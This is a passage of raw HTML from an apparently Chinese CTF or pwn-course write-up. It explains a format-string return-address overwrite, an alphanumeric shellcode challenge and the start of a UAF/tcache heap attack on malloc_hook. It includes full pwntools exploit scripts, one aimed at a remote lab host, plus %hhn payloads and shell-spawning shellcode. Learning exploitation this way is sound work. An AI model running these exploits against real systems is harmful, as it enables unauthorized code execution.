src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-423\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u672c\u9898\u6ca1\u5f00\u542fPIE\uff0c\u6240\u4ee5\u5c31\u5f88\u7b80\u5355\u4e86\uff0c\u8986\u76d6\u8fd4\u56de\u5730\u5740\u6210\u540e\u95e8\u51fd\u6570\u5730\u5740\u5c31\u884c\u3002<\/p>\n\n\n\n<p>\u65ad\u70b9\u6253\u5728printf\uff0c\u53ef\u4ee5\u770b\u5230\u6808\u7ed3\u6784\u4e2d\u6709\u4e09\u4e2aret\uff0c\u4ece\u4e0a\u5230\u4e0b\u5206\u522b\u662fprintf\u7684ret\uff0cgame\u7684ret\u548cmain\u51fd\u6570\u7684ret\uff0c\u901a\u5e38\u90fd\u662f\u4fee\u6539game\u7684ret\u800c\u4e0d\u662fprintf\u7684ret\uff0c\u907f\u514d\u5728\u9700\u8981\u591a\u6b21\u7528\u5230printf\u7684\u60c5\u51b5\u4e0b\u51fa\u73b0\u9519\u8bef\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-46.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"771\" height=\"534\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-46.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-420\"  sizes=\"auto, (max-width: 771px) 100vw, 771px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540e\u5c31\u662f\u4ece\u6808\u4e2d\u627e\u5230\u67d0\u4e2a\u5730\u65b9\u5b58\u7684\u503c\u53ef\u4ee5\u95f4\u63a5\u5229\u7528\uff0c\u901a\u8fc7\u52a8\u8c03\u53ef\u4ee5\u5f97\u5230\u57fa\u7840\u504f\u79fb\u4e3a7\uff0c\u800c\u57fa\u7840\u504f\u79fb\u5904\u5b58\u7684\u503c\u6070\u597d\u5c31\u5728\u6808\u4e0a\uff0c\u76f4\u63a5%p\u5c31\u80fd\u5f97\u5230\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-44.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"543\" height=\"353\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-44.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-418\"  sizes=\"auto, (max-width: 543px) 100vw, 543px\" \/><\/div><\/figure>\n\n\n\n<p>\u90a3\u4e48\u8fd9\u4e2a\u503c\u79bbgame\u7684ret\u6709\u591a\u8fdc\u5462\uff1f\u52a8\u8c03\u5982\u56fe:<\/p>\n\n\n\n<p>\u4e24\u8005\u76f8\u96940x40,\u4e0d\u7ba1\u57fa\u5740\u600e\u4e48\u53d8\uff0c\u8fd9\u4e2a\u503c\u662f\u56fa\u5b9a\u7684.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-47.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"734\" height=\"495\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-47.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-421\"  sizes=\"auto, (max-width: 734px) 100vw, 734px\" \/><\/div><\/figure>\n\n\n\n<p>\u6240\u4ee5\u5148%p\u6cc4\u9732\u51fa\u95f4\u63a5\u5730\u5740\uff0c\u7136\u540e\u52a00x40\u5c31\u80fd\u5f97\u5230game\u51fd\u6570\u7684ret\u5728\u6808\u4e0a\u7684\u5730\u5740\u3002<\/p>\n\n\n\n<p>\u7136\u540e\u5bf9\u5b83\u8fdb\u884c\u4fee\u6539\uff0c\u770b\u4e00\u4e0bIDA\uff0c\u53ef\u4ee5\u53d1\u73b0\u8fd9\u51e0\u4e2a\u51fd\u6570\u53ea\u6709\u540e\u9762\u4e24\u5b57\u8282\u6709\u5dee\u522b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-51-1024x493.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"493\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-51-1024x493.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-425\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u90a3\u5c31\u4fee\u6539\u540e\u4e24\u5b57\u8282\u5c31\u884c,\u800c\u4e14\u672c\u9898\u6ca1\u5f00PIE\uff0c\u76f4\u63a5\u7528\u540e\u95e8\u51fd\u6570success\u7684\u5730\u5740\u5c31\u884c\uff0c0x08049317 ,\u540e\u4e24\u5b57\u8282\u662f0x93\u548c0x17\uff0c\u6ce8\u610f\u5c0f\u7aef\u5b58\u50a8\uff0c\u6240\u4ee5game_ret_addr\u5e94\u8be5\u6539\u4e3a0x17,\u4e5f\u5c31\u662f23\uff1bgame_ret_addr+1\u5e94\u8be5\u6539\u4e3a0x93\uff0c\u4e5f\u5c31\u662f147.<\/p>\n\n\n\n<p>\u4e3a\u4e86\u907f\u514d\u8ba1\u7b97\u5730\u5740\u9020\u6210\u7684\u504f\u79fb\u628a\u5730\u5740\u653e\u540e\u9762<\/p>\n\n\n\n<p>\u6240\u4ee5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload1=b'%23c%k$hhn'+p32(game_ret_addr)\n\npayload2=b'%147c%k$hhn'+p32(game_ret_addr+1)<\/code><\/pre>\n\n\n\n<p>\u63a5\u4e0b\u6765\u7b97k\u5e94\u8be5\u662f\u591a\u5c11\uff0c\u56db\u4e2a\u5b57\u6bcd\u662f\u4e00\u4e2a\u5355\u4f4d\uff0c\u5047\u8bbek\u662f1\u4f4d\u6570\u5b57\uff0c\u90a3\u4e48%23c%k$hhn\u5c31\u662f10\u4e2a\u5b57\u6bcd\uff0c%147c%k$hhn\u5c31\u662f11\u4e2a\uff0c\u4e0e4\u5bf9\u9f50\u5c31\u662f12\uff0c\u504f\u79fb\u5c31\u662f12\/4=3\uff0c\u52a0\u4e0a\u539f\u6765\u7684\u504f\u79fb\u5c31\u662f10\uff0ck\u662f2\u4f4d\u6570\u5b57\u4e86\uff0c\u4e0e\u539f\u6765\u76841\u4f4d\u51b2\u7a81\u3002<\/p>\n\n\n\n<p>\u90a3\u5c31\u5047\u8bbek\u662f\u4e24\u4f4d\u6570\uff0c\u4e24\u4e2a\u5bf9\u9f50\u4e4b\u540e\u662f12\uff0c12\/4=3\uff0ck=7+3=10\uff0c\u521a\u597d\u7b26\u5408\u3002%147c%10$hhn\u521a\u597d12\u4f4d\u4e0d\u7528\u8865\u9f50\uff0c%23c%10$hhn\u662f11\u4f4d\uff0c\u5728\u540e\u9762\u52a0\u4e0a\u4e00\u4e2a\u5b57\u6bcd\u8865\u9f50\u5c31\u884c\uff1a<\/p>\n\n\n\n<p>%23c%10$hhnA<\/p>\n\n\n\n<p>\u4e5f\u53ef\u4ee5\u52a8\u8c03\u6765\u770b\uff1a<\/p>\n\n\n\n<p>\u53d1\u73b0\u524d\u8005\u662f\u7a7a\uff0c\u53f3\u8fb9\u5374\u6709\u503c\u4e86\uff0c\u8bf4\u660e\u88ab\u5360\u7528\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-48.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"363\" height=\"317\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-48.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-422\"  sizes=\"auto, (max-width: 363px) 100vw, 363px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e00\u76f4\u6d4b\u523011\u53d1\u73b0\u6ca1\u88ab\u5360\u7528\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-50.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"654\" height=\"336\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-50.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-424\"  sizes=\"auto, (max-width: 654px) 100vw, 654px\" \/><\/div><\/figure>\n\n\n\n<p>\u90a3\u504f\u79fb\u5c31\u662f11-1=10\uff08\u56e0\u4e3a%10$p\u5360\u7528\u4e8610\uff09<\/p>\n\n\n\n<p>\u6240\u4ee5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload1=b'%23c%10$hhn'+p32(game_ret_addr)\n\npayload2=b'%147c%10$hhn'+p32(game_ret_addr+1)<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\ncontext.log_level=\"debug\"\n\np = remote(\"10.12.153.73\",12028)\n\n#p = process(\"\/home\/monke\/vmcourse_pwn\/6\/pwn.elf\")\n\n#leak\n\npayload=b\"%p\"\n\np.sendlineafter(\"choice: \\n\",b'3')\n\np.sendlineafter('talk: \\n',payload)\n\np.recvuntil(\"said: \\n\")\n\naddr=p.recv(10)\n\naddr=int(addr,16)\n\ngame_ret_addr=addr+0x40\n\npayload1=b'%23c%10$hhna'+p32(game_ret_addr)\n\npayload2=b'%147c%10$hhn'+p32(game_ret_addr+1)\n\np.sendlineafter(\"choice: \\n\",b'3')\n\np.sendlineafter('talk: \\n',payload1)\n\np.sendlineafter(\"choice: \\n\",b'3')\n\np.sendlineafter('talk: \\n',payload2)\n\np.sendlineafter(\"choice: \\n\",b'4')\n\n#gdb.attach(p)\n\np.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-52.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"807\" height=\"522\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-52.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-426\"  sizes=\"auto, (max-width: 807px) 100vw, 807px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"7%E7%BA%AF%E5%AD%97%E7%AC%A6%E6%95%B0%E5%AD%97shellcode\"><\/span>7(\u7eaf\u5b57\u7b26\u6570\u5b57shellcode)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-53-1024x689.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"689\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-53-1024x689.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-427\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u2cd6b32b\">\u4e0a\u56fe\u662fmain\u51fd\u6570\uff0c\u5355\u4e2a\u8bfb\u53d6\u8f93\u5165\u5e76\u5199\u5165\u7ed9v7\uff0c\u6700\u540e\u7528mprotect\u7ed9v7\u53ef\u6267\u884c\u6743\u9650\u5e76\u5f53\u4f5c\u51fd\u6570\u6267\u884c\u3002\u6240\u4ee5\u5199\u5165shellcode\u5373\u53ef\uff0c\u4f46\u662f\u6ce8\u610f\u5728\u8bfb\u53d6\u5355\u4e2a\u5b57\u7b26\u65f6\u4f1a\u8fdb\u884c\u68c0\u6d4b\uff1a<\/p>\n\n\n\n<p id=\"ud36c7851\">if ( !isalnum(buf) )<\/p>\n\n\n\n<p id=\"u111f18c3\">break;<\/p>\n\n\n\n<p id=\"ube597e4d\">\u5224\u65ad\u662f\u5426\u662f\u5b57\u6bcd\u6570\u5b57\uff0c\u6240\u4ee5\u5f97\u5199\u5165\u7eaf\u5b57\u6bcd\u6570\u5b57shellcode\uff0c\u4e00\u822cshellcode\u7684\u5f62\u5f0f\u90fd\u662f\/x73\/x80\/xff\u8fd9\u6837\u7684\uff0c\u6240\u4ee5\u80af\u5b9a\u4e0d\u884c\u3002<\/p>\n\n\n\n<p id=\"u551db828\">\u8fd9\u91cc\u7528\u4e00\u4e2a\u5de5\u5177\uff0cae64\u6765\u751f\u6210\u7eaf\u5b57\u6bcd\u6570\u5b57shellcode\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/github.com\/veritas501\/ae64\n<\/div><\/figure>\n\n\n\n<p id=\"u8d2a30ec\">\u4e0b\u8f7d\u597d\u540e\u5728python\u811a\u672c\u91cc\u9762\u5bfc\u5165\uff1a<\/p>\n\n\n\n<p id=\"u6cb20718\">from ae64 import AE64<\/p>\n\n\n\n<p id=\"uec968c9f\">\u7136\u540e<\/p>\n\n\n\n<p id=\"u574e339c\">payload= AE64().encode(asm(shellcraft.sh()))<\/p>\n\n\n\n<p id=\"ueeb15442\">\u5373\u53ef\u751f\u6210<\/p>\n\n\n\n<p id=\"u2aae5649\">\u5b8c\u6574exp\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import*\n\nfrom ae64 import AE64\n\ncontext(arch=\"amd64\", os=\"linux\", log_level=\"debug\")\n\np = process(\"\/home\/monke\/vmcourse_pwn\/7\/pwn.bin\")\n\npayload= AE64().encode(asm(shellcraft.sh()))\n\np.sendlineafter('> ',payload)\n\np.interactive()\n\n<\/code><\/pre>\n\n\n\n<p id=\"u8b237c0e\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"8unsorted_bin_leak%EF%BC%8C%E5%88%A9%E7%94%A8UAF%E6%89%93tcache_bin_attack%EF%BC%8C%E5%8A%AB%E6%8C%81malloc_hook%E4%B8%BAone_gadget\"><\/span>8(unsorted bin leak\uff0c\u5229\u7528UAF\u6253tcache bin attack\uff0c\u52ab\u6301malloc_hook\u4e3aone_gadget)<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p id=\"u8c90c18e\">\u7ecf\u5178\u83dc\u5355\u9898\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-55.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"809\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-55.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-429\"  sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u70f6969a\">add\u51fd\u6570\uff0c\u5176\u4e2d\u6709\u4e24\u4e2a\u6307\u9488\u6570\u7ec4<\/p>\n\n\n\n<p id=\"udc0728fc\">PTR_LIST[v1]\u6307\u5411malloc\u7684\u5806\u5757<\/p>\n\n\n\n<p id=\"ubdc01828\">SIZE_LIST[v1]\u5b58\u50a8\u4e86\u5bf9\u5e94\u5806\u5757\u7684\u5927\u5c0f:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-58.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"684\" height=\"809\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-58.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-432\"  sizes=\"auto, (max-width: 684px) 100vw, 684px\" \/><\/div><\/figure>\n\n\n\n<p id=\"ub55ba4b7\">delete\u51fd\u6570\uff0c\u5b58\u5728UAF\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-56.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"572\" height=\"332\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-56.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-430\"  sizes=\"auto, (max-width: 572px) 100vw, 572px\" \/><\/div><\/figure>\n\n\n\n<p id=\"uca062268\">show\u51fd\u6570\uff0c\u6253\u5370\u6307\u5b9aPTR[n]\u6307\u9488\u6307\u5411\u7684chunk\u7684\u5185\u5bb9\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-59.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"857\" height=\"329\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-59.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-433\"  sizes=\"auto, (max-width: 857px) 100vw, 857px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u1dc7be23\">edit\u51fd\u6570\uff0c\u4fee\u6539\u6307\u5b9aPTR[n]\u6307\u9488\u6307\u5411\u7684chunk\u7684\u5185\u5bb9\uff0c\u6ca1\u6709\u6ea2\u51fa\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-60.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"714\" height=\"347\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2024\/12\/image-60.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-434\"  sizes=\"auto, (max-width: 714px) 100vw, 714px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u5a51d23b\">\u5ba1\u8ba1\u4e86\u4e00\u5708\u53ea\u6709\u4e00\u4e2aUAF\u6f0f\u6d1e\u3002\u6ca1\u4e8b\u8db3\u591f\u4e86\u3002<\/p>\n\n\n\n<p id=\"u7c1c61ab\">\u601d\u8def\uff1a<\/p>\n\n\n\n<p id=\"ua706092f\">\u8003\u8651\u5230libc\u7ed9\u76842.27\u7248\u672c\uff0c\u53ef\u4ee5\u7528unsorted bin\u6765\u6cc4\u9732libc\u57fa\u5740\uff0c\u7b97\u51famalloc_hook\u548cone_gadget\u7684\u771f\u5b9e\u5730\u5740\uff0c\u7136\u540e\u901a\u8fc7UAF\u6765\u6253tcache bin attack,\u52ab\u6301malloc_hook\u5e76\u4fee\u6539\u6210one_gadget\uff0c\u8fd9\u4e0b\u518d\u6b21\u8c03\u7528malloc\u51fd\u6570\u65f6\u5c31\u80fdget shell<\/p>\n\n\n\n<p id=\"u968ecd10\">\u672c\u5730\u6d4b\u8bd5\u9700\u8981\u7528patchelf\u6765\u6539\u4e00\u4e0b\u6e90\u7a0b\u5e8f\u7684libc\u5e93\uff0c\u4e0d\u7136libc\u5e93\u4e0d\u5bf9\u672c\u5730\u6253\u4e0d\u4e86<a href=\"https:\/\/blog.csdn.net\/huzai9527\/article\/details\/118558784\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/blog.csdn.net\/huzai9527\/article\/details\/118558784<\/a><\/p>\n\n\n\n<p id=\"ue6291039\">\u4f46\u662f\u6211\u5728\u672c\u5730\u6539\u5931\u8d25\u4e86\uff0c\u6539\u4e4b\u540e\u7a0b\u5e8f\u8fd0\u884c\u4e0d\u4e86\uff0c\u90a3\u5c31\u53ea\u80fd\u786c\u7740\u5934\u76ae\u7ee7\u7eed\u505a\u4e86\u3002<\/p>\n\n\n\n<p 